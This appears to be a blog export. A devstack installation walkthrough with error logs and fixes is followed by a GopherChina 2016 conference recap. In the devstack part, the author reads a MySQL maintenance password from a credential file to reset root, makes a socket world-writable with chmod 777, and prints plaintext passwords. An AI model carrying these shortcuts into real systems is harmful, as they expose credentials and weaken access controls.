建议将devstack部署在物理机上，这样可以屏蔽掉许多在虚拟机上部署devstack的问题(具体不详，很多书籍都推荐这么做^_^)。这里讲devstack部署在一台ubuntu 14.04.1的刀片服务器上。\n1、下载devstack源码 $ git clone https://github.com/openstack-dev/devstack.git ./devstack Cloning into './devstack'... remote: Counting objects: 33686, done. remote: Compressing objects: 100% (10/10), done. Receiving objects: 1% (337/33686), 92.01 KiB | 35.00 KiB/s Receiving objects: 4% (1457/33686), 452.01 KiB | 62.00 KiB/s ... ... 这里直接用trunk上的最新revision：\ndevstack版本 revision： commit 96ffde28b6e2f55f95997464aec47ae2c6cf91d3 Merge: c4a0d21 e3a04dd Author: Jenkins \u0026lt;jenkins@review.openstack.org\u0026gt; Date: Tue Apr 26 10:21:16 2016 +0000 2、创建stack账户 $cd devstack/tools ~/devstack/tools$ sudo ./create-stack-user.sh [sudo] password for baiming: Creating a group called stack Creating a user called stack Giving stack user passwordless sudo privileges $ cat /etc/passwd|grep stack stack:x:1006:1006::/opt/stack:/bin/bash 修改devstack目录的owner和group权限：\n$ sudo chown -R stack:stack ./devstack/ 切换到stack用户下：\nbaiming@baiming:~$ sudo -i -u stack stack@baiming:~$ cd /home/baiming/devstack stack@baiming:/home/baiming/devstack$ ls clean.sh exerciserc extras.d functions-common HACKING.rst LICENSE openrc run_tests.sh setup.py tests unstack.sh data exercises files FUTURE.rst inc MAINTAINERS.rst pkg samples stackrc tools doc exercise.sh functions gate lib Makefile README.md setup.cfg stack.sh tox.ini 二、启动devstack 我们在devstack目录下创建配置文件：local.conf\n# Credentials ADMIN_PASSWORD=devstack MYSQL_PASSWORD=devstack RABBIT_PASSWORD=devstack SERVICE_PASSWORD=devstack SERVICE_TOKEN=token #Enable/Disable Services disable_service n-net enable_service q-svc enable_service q-agt enable_service q-dhcp enable_service q-l3 enable_service q-meta enable_service neutron enable_service tempest HOST_IP=10.10.105.71 #NEUTRON CONFIG #Q_USE_DEBUG_COMMAND=True #CINDER CONFIG VOLUME_BACKING_FILE_SIZE=102400M #GENERAL CONFIG API_RATE_LIMIT=False # Output LOGFILE=/home/baiming/devstack/logs/stack.sh.log VERBOSE=True LOG_COLOR=False SCREEN_LOGDIR=/home/baiming/devstack/logs 执行devstack下的stack.sh来启动各OpenStack组件，stack.sh是devstack“一键安装”的总控脚本，stack.sh执行ok了，devstack也就部署OK了：\n$\u0026gt;./stack.sh 但问题接踵而至！\n三、问题与解决方法 stack.sh的执行过程是漫长的，且问题也是多多。\n1、git协议 or https协议 stack.sh执行后会去openstack官方库下载一些东西，于是遇到了第一个错误：\n+functions-common:git_timed:599 timeout -s SIGINT 0 git clone git://git.openstack.org/openstack/requirements.git /opt/stack/requirements Cloning into '/opt/stack/requirements'... fatal: unable to connect to git.openstack.org: git.openstack.org[0: 104.130.246.128]: errno=Connection timed out git.openstack.org[1: 2001:4800:7819:103:be76:4eff:fe06:63c]: errno=Network is unreachable +functions-common:git_timed:602 [[ 128 -ne 124 ]] +functions-common:git_timed:603 die 603 'git call failed: [git clone' git://git.openstack.org/openstack/requirements.git '/opt/stack/requirements]' +functions-common:die:186 local exitcode=0 +functions-common:die:187 set +o xtrace [Call Trace] ./stack.sh:708:git_clone /home/baiming/devstack/functions-common:536:git_timed /home/baiming/devstack/functions-common:603:die [ERROR] /home/baiming/devstack/functions-common:603 git call failed: [git clone git://git.openstack.org/openstack/requirements.git /opt/stack/requirements] Error on exit ./stack.sh: line 488: generate-subunit: command not found stack.sh尝试用git clone git://xxxx，但由于我的主机在代理后面，因此git协议不能被支持，需要改为支持的协议类型，比如https。\n解决方法：修改stackrc，更换git_base协议，并且增加http和https代理变量：\n# Base GIT Repo URL # Another option is https://git.openstack.org GIT_BASE=${GIT_BASE:-https://git.openstack.org} export http_proxy='http://10.10.126.187:3129' export https_proxy='http://10.10.126.187:3129' stackrc之于stack.sh类似.bashrc之于bash，在stack.sh执行时会对stackrc进行source，使其中的export环境变量生效。http_proxy等环境变量添加到stackrc中的效果就是：在stack.sh执行过程中会有类似如下语句出现：\nsudo -H http_proxy=http://10.10.126.187:3129 https_proxy=http://10.10.126.187:3129 no_proxy= PIP_FIND_LINKS= /usr/local/bin/pip2.7 install -c /opt/stack/requirements/upper-constraints.txt -U virtualenv 2、重启stack.sh 解决完上述问题后，如果直接重新执行stack.sh，那么会收到“有另外一个stack.sh session在执行的”错误信息。\n为此，每次重启stack.sh之前都要先执行：./unstack.sh，清理一下环境。\n3、apt包下载错误 在stack.sh执行过程中，会更新ubuntu apt repository，并下载许多第三方包或工具：\nPreconfiguring packages ... (Reading database ... 123098 files and directories currently installed.) Preparing to unpack .../libitm1_4.8.4-2ubuntu1~14.04.1_amd64.deb ... Unpacking libitm1:amd64 (4.8.4-2ubuntu1~14.04.1) over (4.8.4-2ubuntu1~14.04) ... Preparing to unpack .../libgomp1_4.8.4-2ubuntu1~14.04.1_amd64.deb ... Unpacking libgomp1:amd64 (4.8.4-2ubuntu1~14.04.1) over (4.8.4-2ubuntu1~14.04) ... Preparing to unpack .../libasan0_4.8.4-2ubuntu1~14.04.1_amd64.deb ... Unpacking libasan0:amd64 (4.8.4-2ubuntu1~14.04.1) over (4.8.4-2ubuntu1~14.04) ... Preparing to unpack .../libatomic1_4.8.4-2ubuntu1~14.04.1_amd64.deb ... Unpacking libatomic1:amd64 (4.8.4-2ubuntu1~14.04.1) over (4.8.4-2ubuntu1~14.04) ... Preparing to unpack .../libtsan0_4.8.4-2ubuntu1~14.04.1_amd64.deb ... Unpacking libtsan0:amd64 (4.8.4-2ubuntu1~14.04.1) over (4.8.4-2ubuntu1~14.04) ... Preparing to unpack .../libquadmath0_4.8.4-2ubuntu1~14.04.1_amd64.deb ... Unpacking libquadmath0:amd64 (4.8.4-2ubuntu1~14.04.1) over (4.8.4-2ubuntu1~14.04) ... Preparing to unpack .../libstdc++-4.8-dev_4.8.4-2ubuntu1~14.04.1_amd64.deb ... .... ..... .... Setting up libitm1:amd64 (4.8.4-2ubuntu1~14.04.1) ... Setting up libgomp1:amd64 (4.8.4-2ubuntu1~14.04.1) ... Setting up libasan0:amd64 (4.8.4-2ubuntu1~14.04.1) ... Setting up libatomic1:amd64 (4.8.4-2ubuntu1~14.04.1) ... Setting up libtsan0:amd64 (4.8.4-2ubuntu1~14.04.1) ... .... ..... * Setting sysfs variables... [ OK ] Setting up vlan (1.9-3ubuntu10) ... Processing triggers for libc-bin (2.19-0ubuntu6) ... Processing triggers for ureadahead (0.100.0-16) ... Processing triggers for initramfs-tools (0.103ubuntu4.2) ... update-initramfs: Generating /boot/initrd.img-3.16.0-57-generic .... .... 如果你的source.list中添加了一些不稳定的源，那么这个包更新过程很可能会失败，从而导致stack.sh执行失败。解决方法就是识别出哪些源导致的失败，将之注释掉！\n4、MySQL access denied 继续执行stack.sh，我们遇到了如下MySQL访问错误：\n+lib/databases/mysql:configure_database_mysql:91 sudo mysql -u root -p devstack -h 127.0.0.1 -e 'GRANT ALL PRIVILEGES ON *.* TO '\\''root'\\''@'\\''%'\\'' identified by '\\''devstack'\\'';' ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES) +lib/databases/mysql:configure_database_mysql:1 exit_trap +./stack.sh:exit_trap:474 local r=1 ++./stack.sh:exit_trap:475 jobs -p +./stack.sh:exit_trap:475 jobs= +./stack.sh:exit_trap:478 [[ -n '' ]] +./stack.sh:exit_trap:484 kill_spinner +./stack.sh:kill_spinner:370 '[' '!' -z '' ']' +./stack.sh:exit_trap:486 [[ 1 -ne 0 ]] +./stack.sh:exit_trap:487 echo 'Error on exit' Error on exit +./stack.sh:exit_trap:488 generate-subunit 1461911655 5243 fail +./stack.sh:exit_trap:489 [[ -z /opt/stack/logs ]] +./stack.sh:exit_trap:492 /home/baiming/devstack/tools/worlddump.py -d /opt/stack/logs World dumping... see /opt/stack/logs/worlddump-2016-04-29-080139.txt for details 这个问题浪费了我不少时间，遍历了许多网上资料，最终下面这个方法解决了问题：\n查看/etc/mysql/debian.cnf文件：\n# Automatically generated for Debian scripts. DO NOT TOUCH! [client] host = localhost user = debian-sys-maint password = WY9OFagMxMb4YmyV socket = /var/run/mysqld/mysqld.sock [mysql_upgrade] host = localhost user = debian-sys-maint password = WY9OFagMxMb4YmyV socket = /var/run/mysqld/mysqld.sock basedir = /usr 修改mysql root密码：\n$ [root@localhost ~]# mysql -u debian-sys-maint - p 输入密码： WY9OFagMxMb4YmyV ，进入到mysql数据库 mysql\u0026gt;use mysql ； mysql\u0026gt;update user set password=password(\u0026quot;你的新密码\u0026quot;) where user=\u0026quot;root\u0026quot;; mysql\u0026gt;flush privileges; mysql\u0026gt;exit 然后尝试使用新密码登录，如果登录成功，说明密码修改ok。再执行stack.sh就不会出现MySQL相关错误了。\n5、openvswitch/db.sock权限问题 接下来我们遇到的问题是openvswitch/db.sock权限问题，错误日志如下：\n+lib/keystone:create_keystone_accounts:368 local admin_project ++lib/keystone:create_keystone_accounts:369 openstack project show admin -f value -c id Discovering versions from the identity service failed when creating the password plugin. Attempting to determine version from URL. Could not determine a suitable URL for the plugin +lib/keystone:create_keystone_accounts:369 admin_project= +lib/keystone:create_keystone_accounts:1 exit_trap +./stack.sh:exit_trap:474 local r=1 ++./stack.sh:exit_trap:475 jobs -p +./stack.sh:exit_trap:475 jobs= +./stack.sh:exit_trap:478 [[ -n '' ]] +./stack.sh:exit_trap:484 kill_spinner +./stack.sh:kill_spinner:370 '[' '!' -z '' ']' +./stack.sh:exit_trap:486 [[ 1 -ne 0 ]] +./stack.sh:exit_trap:487 echo 'Error on exit' Error on exit +./stack.sh:exit_trap:488 generate-subunit 1461920296 413 fail +./stack.sh:exit_trap:489 [[ -z /opt/stack/logs ]] +./stack.sh:exit_trap:492 /home/baiming/devstack/tools/worlddump.py -d /opt/stack/logs World dumping... see /opt/stack/logs/worlddump-2016-04-29-090510.txt for details 2016-04-29T09:05:10Z|00001|reconnect|WARN|unix:/var/run/openvswitch/db.sock: connection attempt failed (Permission denied) ovs-vsctl: unix:/var/run/openvswitch/db.sock: database connection failed (Permission denied) +./stack.sh:exit_trap:498 exit 1 我们手工执行ovs-vsctl命令：\n$ sudo service openvswitch-switch status openvswitch-switch start/running $ ovs-vsctl show 2016-04-29T09:44:19Z|00001|reconnect|WARN|unix:/var/run/openvswitch/db.sock: connection attempt failed (Permission denied) ovs-vsctl: unix:/var/run/openvswitch/db.sock: database connection failed (Permission denied) 同样的错误。这个问题在网上似乎也没有很好的答案，这里做了一个权限更改处理：\n$\u0026gt;chmod 777 /var/run/openvswitch/db.sock 问题解决了！\n6、http proxy问题 我们接下来停在了这里：\n++lib/keystone:create_keystone_accounts:369 openstack project show admin -f value -c id Discovering versions from the identity service failed when creating the password plugin. Attempting to determine version from URL. Could not determine a suitable URL for the plugin 还是停在这里，但这回不是/var/run/openvswitch /db.sock权限问题了。似乎是stack.sh想访问某个url获得一些version信息，但没有获取到。我开始怀疑是代理设置的问题：这个环境是有代理设置的，一旦走代理访问自己，那么肯定什么信息都得不到。但代理还不能去掉，因此很多组件下载都需要使用到代理访问外网。为此我们需要在stackrc中加上no_proxy环境变量：\nexport no_proxy='10.10.105.71' 再执行stack.sh，至少这个问题是pass了。\n四、devstack部署ok 在经过很不耐烦的漫长等待后，devstack终于算是部署成功了！stack.sh打印出了下面信息后成功退出了：\n========================= DevStack Component Timing ========================= Total runtime 2574 run_process 57 apt-get-update 120 pip_install 859 restart_apache_server 11 wait_for_service 32 apt-get 14 ========================= This is your host IP address: 10.10.105.71 This is your host IPv6 address: ::1 Horizon is now available at http://10.10.105.71/dashboard Keystone is serving at http://10.10.105.71:5000/ The default users are: admin and demo The password: devstack 2016-05-03 08:01:03.667 | stack.sh completed in 2574 seconds. 我们看devstack究竟运行了哪些组件：\n$ ps -ef|grep python stack 1464 1461 0 15:24 pts/5 00:00:14 /usr/bin/python /usr/bin/dstat -tcmndrylpg --output /opt/stack/logs/dstat-csv.log stack 1465 1461 6 15:24 pts/5 00:03:01 /usr/bin/python /usr/bin/dstat -tcmndrylpg --top-cpu-adv --top-io-adv --swap stack 11641 11490 0 15:48 pts/10 00:00:03 /usr/bin/python /usr/local/bin/glance-registry --config-file=/etc/glance/glance-registry.conf stack 11899 11641 0 15:48 pts/10 00:00:00 /usr/bin/python /usr/local/bin/glance-registry --config-file=/etc/glance/glance-registry.conf stack 11900 11641 0 15:48 pts/10 00:00:00 /usr/bin/python /usr/local/bin/glance-registry --config-file=/etc/glance/glance-registry.conf stack 11978 11821 1 15:48 pts/11 00:00:24 /usr/bin/python /usr/local/bin/glance-api --config-file=/etc/glance/glance-api.conf stack 12105 11978 1 15:48 pts/11 00:00:30 /usr/bin/python /usr/local/bin/glance-api --config-file=/etc/glance/glance-api.conf stack 12106 11978 1 15:48 pts/11 00:00:30 /usr/bin/python /usr/local/bin/glance-api --config-file=/etc/glance/glance-api.conf stack 13411 13262 2 15:51 pts/12 00:00:29 /usr/bin/python /usr/local/bin/nova-api stack 13551 13411 0 15:52 pts/12 00:00:03 /usr/bin/python /usr/local/bin/nova-api stack 13552 13411 0 15:52 pts/12 00:00:03 /usr/bin/python /usr/local/bin/nova-api stack 13823 13411 0 15:52 pts/12 00:00:00 /usr/bin/python /usr/local/bin/nova-api stack 13824 13411 0 15:52 pts/12 00:00:00 /usr/bin/python /usr/local/bin/nova-api stack 14309 14159 1 15:52 pts/13 00:00:25 /usr/bin/python /usr/local/bin/nova-conductor --config-file /etc/nova/nova.conf stack 15092 14941 3 15:52 pts/14 00:00:39 /usr/bin/python /usr/local/bin/nova-network --config-file /etc/nova/nova.conf stack 15352 14309 2 15:52 pts/13 00:00:38 /usr/bin/python /usr/local/bin/nova-conductor --config-file /etc/nova/nova.conf stack 15353 14309 2 15:52 pts/13 00:00:38 /usr/bin/python /usr/local/bin/nova-conductor --config-file /etc/nova/nova.conf stack 15432 15274 1 15:52 pts/15 00:00:14 /usr/bin/python /usr/local/bin/nova-scheduler --config-file /etc/nova/nova.conf stack 15920 15768 0 15:52 pts/16 00:00:05 /usr/bin/python /usr/local/bin/nova-novncproxy --config-file /etc/nova/nova.conf --web /opt/stack/noVNC stack 16571 16415 1 15:52 pts/17 00:00:13 /usr/bin/python /usr/local/bin/nova-consoleauth --config-file /etc/nova/nova.conf stack 17134 17131 3 15:53 pts/18 00:00:46 /usr/bin/python /usr/local/bin/nova-compute --config-file /etc/nova/nova.conf stack 17890 17740 1 15:54 pts/19 00:00:23 /usr/bin/python /usr/local/bin/cinder-api --config-file /etc/cinder/cinder.conf stack 18027 17890 0 15:54 pts/19 00:00:00 /usr/bin/python /usr/local/bin/cinder-api --config-file /etc/cinder/cinder.conf stack 18028 17890 0 15:54 pts/19 00:00:01 /usr/bin/python /usr/local/bin/cinder-api --config-file /etc/cinder/cinder.conf stack 18363 18212 2 15:54 pts/20 00:00:33 /usr/bin/python /usr/local/bin/cinder-scheduler --config-file /etc/cinder/cinder.conf stack 18853 18699 1 15:54 pts/21 00:00:22 /usr/bin/python /usr/local/bin/cinder-volume --config-file /etc/cinder/cinder.conf stack 19060 18853 2 15:54 pts/21 00:00:28 /usr/bin/python /usr/local/bin/cinder-volume --config-file /etc/cinder/cinder.conf 果然很复杂。devstack的安装体验比OpenStack似乎也好不到那里去。stack.sh执行的时间足够编译10次linux os内核了。好多依赖，好多download。\n在devstack目录下，我们还可以执行一下devstack的测试，./exercise.sh会执行这些测试：\n********************************************************************* SUCCESS: End DevStack Exercise: /home/baiming/devstack/exercises/volumes.sh ********************************************************************* ===================================================================== SKIP neutron-adv-test SKIP swift PASS aggregates PASS client-args PASS client-env PASS sec_groups PASS volumes FAILED boot_from_volume FAILED floating_ips ===================================================================== 此刻访问 http://10.10.105.71/dashboard，我们可以看到devstack horizon的首页：\n不过由于是通过SecureCRT端口映射访问到的主页，不知为何，登录后始终无法显示dashboard的页面。但通过后台horizon的日志来看，登录(admin/devstack)是成功的。我们仅能探索cli操作devstack的方式了。\n五、CLI方式操作devstack devstack提供了CLI方式对虚拟机、存储和网络等组件进行操作，其功能还要超过GUI所能提供的。在使用cli工具前，我们需要设置一些cli所需的用户变量，放在shell文件中（比如.bashrc）：\nexport OS_USERNAME=admin export OS_PASSWORD=devstack export OS_TENANT_NAME=admin export OS_AUTH_URL=http://10.10.105.71:5000/v2.0 上述变量生效后，我们就可以通过cli来hack devstack了：\nnova位置和nova版本：\n$ which nova /usr/local/bin/nova $ nova --version 4.0.0 当前image列表：\n$ nova image-list WARNING: Command image-list is deprecated and will be removed after Nova 15.0.0 is released. Use python-glanceclient or openstackclient instead. +--------------------------------------+---------------------------------+--------+--------+ | ID | Name | Status | Server | +--------------------------------------+---------------------------------+--------+--------+ | b3f25af2-b5e1-43fe-8648-842fe48ed380 | cirros-0.3.4-x86_64-uec | ACTIVE | | | d6bcc064-e2aa-4550-89e7-fd2f6a454758 | cirros-0.3.4-x86_64-uec-kernel | ACTIVE | | | 788dec66-8989-4e84-8722-d9f4c9ee5ab0 | cirros-0.3.4-x86_64-uec-ramdisk | ACTIVE | | +--------------------------------------+---------------------------------+--------+--------+ 虚拟机规格列表：\n$ nova flavor-list +----+-----------+-----------+------+-----------+------+-------+-------------+-----------+ | ID | Name | Memory_MB | Disk | Ephemeral | Swap | VCPUs | RXTX_Factor | Is_Public | +----+-----------+-----------+------+-----------+------+-------+-------------+-----------+ | 1 | m1.tiny | 512 | 1 | 0 | | 1 | 1.0 | True | | 2 | m1.small | 2048 | 20 | 0 | | 1 | 1.0 | True | | 3 | m1.medium | 4096 | 40 | 0 | | 2 | 1.0 | True | | 4 | m1.large | 8192 | 80 | 0 | | 4 | 1.0 | True | | 42 | m1.nano | 64 | 0 | 0 | | 1 | 1.0 | True | | 5 | m1.xlarge | 16384 | 160 | 0 | | 8 | 1.0 | True | | 84 | m1.micro | 128 | 0 | 0 | | 1 | 1.0 | True | | c1 | cirros256 | 256 | 0 | 0 | | 1 | 1.0 | True | | d1 | ds512M | 512 | 5 | 0 | | 1 | 1.0 | True | | d2 | ds1G | 1024 | 10 | 0 | | 1 | 1.0 | True | | d3 | ds2G | 2048 | 10 | 0 | | 2 | 1.0 | True | | d4 | ds4G | 4096 | 20 | 0 | | 4 | 1.0 | True | +----+-----------+-----------+------+-----------+------+-------+-------------+-----------+ 启动一个虚拟机：\n$ nova boot --flavor 1 --image b3f25af2-b5e1-43fe-8648-842fe48ed380 devstack_instance_1 +--------------------------------------+----------------------------------------------------------------+ | Property | Value | +--------------------------------------+----------------------------------------------------------------+ | OS-DCF:diskConfig | MANUAL | | OS-EXT-AZ:availability_zone | | | OS-EXT-SRV-ATTR:host | - | | OS-EXT-SRV-ATTR:hostname | devstack-instance-1 | | OS-EXT-SRV-ATTR:hypervisor_hostname | - | | OS-EXT-SRV-ATTR:instance_name | instance-00000005 | | OS-EXT-SRV-ATTR:kernel_id | d6bcc064-e2aa-4550-89e7-fd2f6a454758 | | OS-EXT-SRV-ATTR:launch_index | 0 | | OS-EXT-SRV-ATTR:ramdisk_id | 788dec66-8989-4e84-8722-d9f4c9ee5ab0 | | OS-EXT-SRV-ATTR:reservation_id | r-3rpqat0r | | OS-EXT-SRV-ATTR:root_device_name | - | | OS-EXT-SRV-ATTR:user_data | - | | OS-EXT-STS:power_state | 0 | | OS-EXT-STS:task_state | scheduling | | OS-EXT-STS:vm_state | building | | OS-SRV-USG:launched_at | - | | OS-SRV-USG:terminated_at | - | | accessIPv4 | | | accessIPv6 | | | adminPass | dGBd6vj55vP2 | | config_drive | | | created | 2016-05-03T09:00:33Z | | description | - | | flavor | m1.tiny (1) | | hostId | | | host_status | | | id | bdb93a06-0c4f-434f-a1b5-ae2ca9293c58 | | image | cirros-0.3.4-x86_64-uec (b3f25af2-b5e1-43fe-8648-842fe48ed380) | | key_name | - | | locked | False | | metadata | {} | | name | devstack_instance_1 | | os-extended-volumes:volumes_attached | [] | | progress | 0 | | security_groups | default | | status | BUILD | | tenant_id | ce19134da8774d509bfa15daaca83665 | | updated | 2016-05-03T09:00:34Z | | user_id | 45436c9a744b4f41921edb3c368ce5f7 | +--------------------------------------+----------------------------------------------------------------+ 通过nova list可以查看到当前主机上的虚拟机详情：\n$ nova list +--------------------------------------+---------------------+--------+------------+-------------+------------------+ | ID | Name | Status | Task State | Power State | Networks | +--------------------------------------+---------------------+--------+------------+-------------+------------------+ | bdb93a06-0c4f-434f-a1b5-ae2ca9293c58 | devstack_instance_1 | ACTIVE | - | Running | private=10.0.0.5 | +--------------------------------------+---------------------+--------+------------+-------------+------------------+ 在host上ping该虚拟机实例，可以ping通：\n$ ping 10.0.0.5 PING 10.0.0.5 (10.0.0.5) 56(84) bytes of data. 64 bytes from 10.0.0.5: icmp_seq=1 ttl=64 time=0.935 ms 64 bytes from 10.0.0.5: icmp_seq=2 ttl=64 time=0.982 ms ^C --- 10.0.0.5 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1000ms rtt min/avg/max/mdev = 0.935/0.958/0.982/0.038 ms 通过网桥工具查看网桥设备，看到多出一个br100的网桥，eth0、vnet0~vnet2均连接在该网桥上：\n$ brctl show bridge name bridge id STP enabled interfaces br100 8000.0017a447a8a9 no eth0 vnet0 vnet1 vnet2 挂起虚拟机：\n$ nova suspend bdb93a06-0c4f-434f-a1b5-ae2ca9293c58 $ nova list +--------------------------------------+---------------------+-----------+------------+-------------+------------------+ | ID | Name | Status | Task State | Power State | Networks | +--------------------------------------+---------------------+-----------+------------+-------------+------------------+ | bdb93a06-0c4f-434f-a1b5-ae2ca9293c58 | devstack_instance_1 | SUSPENDED | - | Shutdown | private=10.0.0.5 | +--------------------------------------+---------------------+-----------+------------+-------------+------------------+ 六、小结 devstack号称是为开发准备的，已经“一键化”，但从实际效果来看，体验依旧不佳。由此也可以估计出OpenStack的部署难度和坎坷度了:)。\n","permalink":"https://tonybai.com/2016/05/04/deploy-devstack/","summary":"\u003cp\u003e新公司是一家数据与基础设施提供商(to B)。初来乍到，和这里的同事了解了一些云计算平台和大数据平台的技术栈。对于“新鲜”(only to me)的技术栈，自己总有一种折腾的冲动，于是就有了这一篇备忘性质的文章，记录一下自己部署\u003ca href=\"https://github.com/openstack-dev/devstack\"\u003edevstack\u003c/a\u003e的步骤、遇到的问题和解决方法。\u003c/p\u003e","title":"部署devstack"},{"content":"4月17日晚22:51，伴随着D7次动车缓缓驶入沈阳北站，拖着疲惫的身体和些许兴奋的我，结束了两天的GopherChina 2016之旅。\n一、GopherChina大会 GopherChina大会是中国大陆地区Golang语言推广第一品牌。2015年在上海成功了举办了第一届大会；2016年，大会发起人astaxie为充分照顾帝都（及周边）Gophers们的情绪^_^，将GopherChina 2016搬到了北京举行。\n这是我第一次参加GopherChina大会，也是由于“第一次”，心里有种莫名的小兴奋。\n第一天会议，8:30来到亚洲大酒店。虽然酒店外面人员密度稀疏，但主会场入口处却是接踵摩肩，人山人海：注册、领“Gopher战斗服”、收集卡片印章，场面好不热闹，不过主会场内部倒是一片井然有序之气象。会场内主屏幕上循环播放着这次大会几大赞助商的宣传视频：七牛、Daocloud和Grabtaxi等。作为Gopher，首先应该感谢这些金主，没有他们的”金元”，谢大也难为无米之炊不是。\n二、Topic主观短评 大会的日程很紧张，Topic较多，能全神贯注的聆听每个Topic基本很难。开始还好，后来只能重点听听自己感兴趣的了，第二天的时光尤甚。相信坚持听完两天的topic的Gopher们都或多或少有疲惫之感。下面就自己的感受，用短短一两句话，主观短评一下各个Topic：\n第一天 陈辉的“Go 人工智能”：\n话题挺“唬人”^_^，实质则是陈总个人的opensource project show，从“悟空”到“弥勒佛”一应俱全。并且鉴于陈总的Facebook、Google和Alibaba的从业经历，他的开源项目应该值得学习一番。\n刘奇的“Go在分布式数据库中的应用”：\n刘总依旧幽默风趣，这次除了带来了TiDB外，还带来了砸场子的用Rust实现的TiKv，为晚上在技术Party上撕逼打下了伏笔^_^。\n李炳毅的“Go在百度BFE的应用”：\n“车轮大战、车轮大战、车轮大战”，重要的事情说三遍！不过这仅是go在baidu特定场景应用下的tradeoff。个人倒是不建议关掉默认GC。\n毛剑的“Go在数据存储上面的应用”：\n基于FaceBook的Haystack paper，为B站造的一个轮子，细致入微。其中的设计考量值得同样在做分布式文件系统的朋友们借鉴和参考。\nMarcel van Lohuizen的”I18n and L10n for Go using x/text”：\nMarcel也是今年GopherCon2016的speaker，这次来到GopherChina讲解x/text也是让我们先睹为快了。Marcel 对x/text进行了详尽的分类讲解，以及给出当前状态、todo 以及 plan。内容结构很有外国speaker共同具备的那些特点。\n米嘉 的”Go build web”：\n对Go web dev进行了庖丁解牛，Go味儿十足。现场的很多web dev都反映很有赶脚。\n邓洪超 的“Go在分布式系统的性能调试和优化”：\n来自CoreOS的邓洪超很萌，演讲很有激情。但也许是外语说惯了，中文反倒不那么利落了。不过整体效果依旧不错。\n沈晟的”Golang在移动客户端开发中的应用”：\n心动网络(前verycd)的沈总讲解了心动网络将gomobile 用于游戏客户端client library的例子。记不得沈总是否说过心动网络已经在正式产品中使用gomobile了，不过无论这样，这种“敢为天下先”的气魄还是值得赞颂的^_^。\n技术Party 晚上大约80多人聚集在二楼会议厅举行GopherChina技术Party，Party上，PingCAP的刘奇引发Rust vs. Golang的重度pk。由于高铁晚点而迟到的七牛CEO许式伟也再次站出来成为golang的捍卫者。pk从语言特性延伸到社区文化，“民主集中制”的精英文化主导的Golang社区与纯粹美式民主的Rust社区到底孰好孰坏，大家也是众说纷纭，见仁见智。外国友人“马尾辫”(Marcel)和大胡子(Dave Cheney)也参与了论战，不过他们自然是站在Golang一方。之后大家在Docker话题上又燃战火，人们就Docker究竟能给企业和开发者带来何种好处进行了深入PK。\n第二天 Dave Cheney的”Writing High Performance Go”：\nDave Cheney不愧为Go语言的知名布道师，这个topic“编程哲学”与实践并存，干货满满，估计事后消化也需要很长时间。值得一提的是本次大会只有Dave的slide是采用Go team常用的.slide格式文件制作的，赶脚非常go native。\n吴小伟的“Go在阿里云CDN系统的应用”：\n围绕Go在阿里CDN的应用，看得出Go用的还是蛮多的。印象深刻的一个观点：老板决定语言！\n许式伟的“谈谈服务治理”：\n大家似乎都想知道国内第一家采用golang技术栈实现的七牛，内部到底是如何使用go的，但许总就是不能让我们如愿哈。\n孙宏亮的”Go在分布式docker里面的应用”：\n赞助商Daocloud的技术和产品展示，可以看到Daocloud内部的一些架构设计和实现，值得参考。\n高步双的“Go在小米商城运维平台的应用与实践”：\n由于困了，听这个speak时很迷糊，无感。\n赵畅的“Golang项目的测试，持续集成以及部署策略”：\n我也是第一次听说Grab这家公司。不过赵畅这个speak我很喜欢，把公司技术栈的变迁讲的很生动，关于golang的实践和一些数据正是我们需要的。\n孙建良的“Go在网易广域网上传加速系统中的应用”：\n不知为何，slide的首页标题居然是：Go\u0026amp;网易云对象存储服务。原以为标题发生了切换，但没过几页，又回到了“广域网上传加速系统”，这两者似乎也没啥联系啊。也许是我没听完提前离场赶火车的缘故吧。\n三、会后 谢大组织的这次GopherChina2016非常成功，表现为几点：\n参会者众多，会场爆满，还有不辞辛苦，站着聆听的gopher。 多数Speaker表现优异，达到了Gopher传道的目的。 技术Party气氛热烈，论战持久，让Gopher收获满满。 硬件以及组织到位，会场井然有序。 这次Gopher战斗服非常棒，材质很好。 会场的水、水果、奖品、party前自助餐也很给力。 这里对谢大也表示大大的感谢！\n个人也有一些小建议：\n多些场上互动，尤其是下午场，易困倦。如果此次能将daocloud的抽奖环节挪到主会场，全员参与，想必更能活跃气氛，为大家提神^_^。 从GopherChina大会品牌角度出发，如果能统一讲师slide模板会更好，如果都能使用go team那种native的.slide文件格式就更Go味道十足了。 希望类似GopherCon大会那样，增加open keynote(语言历史，当前，未来plan)和close keynote(社区文化推广)两个环节。 另外我觉得应该对讲师slide内容做一些审核，考虑像gopherchina这样的围绕一门编程语言的conference，到底什么话题才是最佳的呢？当前借着Go之名，实则讲解某一行业领域系统架构的内容似乎多了一些。针对语言本身、语言标准库、语言工具和语言最佳实践的内容略少了一些。\n如果要谈语言应用，那个人认为至少如下几个方面应该提及：\n使用什么go版本 版本切换时的差异（内存、cpu、GC延迟、吞吐）和坑 用Go开发了哪些服务？为何？为何其他服务不用Go开发，理由。 遇到问题/坑，如何解决 组织内Go的最佳实践 各位讲师的slide后续还得慢慢消化，另外感谢极客学院展台工作人员的拍照服务^_^：\n","permalink":"https://tonybai.com/2016/04/18/my-experience-of-gopherchina2016/","summary":"\u003cp\u003e4月17日晚22:51，伴随着D7次动车缓缓驶入沈阳北站，拖着疲惫的身体和些许兴奋的我，结束了两天的\u003ca href=\"http://www.gopherchina.org/\"\u003eGopherChina 2016\u003c/a\u003e之旅。\u003c/p\u003e\n\u003ch3 id=\"一gopherchina大会\"\u003e一、GopherChina大会\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"http://www.gopherchina.org/\"\u003eGopherChina大会\u003c/a\u003e是中国大陆地区\u003ca href=\"http://tonybai.com/tag/golang\"\u003eGolang\u003c/a\u003e语言推广第一品牌。\u003ca href=\"https://github.com/gopherchina/conference/tree/master/2015\"\u003e2015年\u003c/a\u003e在上海成功了举办了第一届大会；\u003ca href=\"https://github.com/gopherchina/conference/tree/master/2016\"\u003e2016年\u003c/a\u003e，大会发起人\u003ca href=\"http://weibo.com/p/1005051889019865\"\u003eastaxie\u003c/a\u003e为充分照顾帝都（及周边）Gophers们的情绪^_^，将GopherChina 2016搬到了北京举行。\u003c/p\u003e\n\u003cp\u003e这是我第一次参加GopherChina大会，也是由于“第一次”，心里有种莫名的小兴奋。\u003c/p\u003e","title":"GopherChina2016后记"},{"content":"上个月末，Rancher Labs在其官方博客上宣布了 Rancher 1.0正式版本发布。 这是继Apache Mesos、 Google Kubernetes以及Docker 原生 Swarm 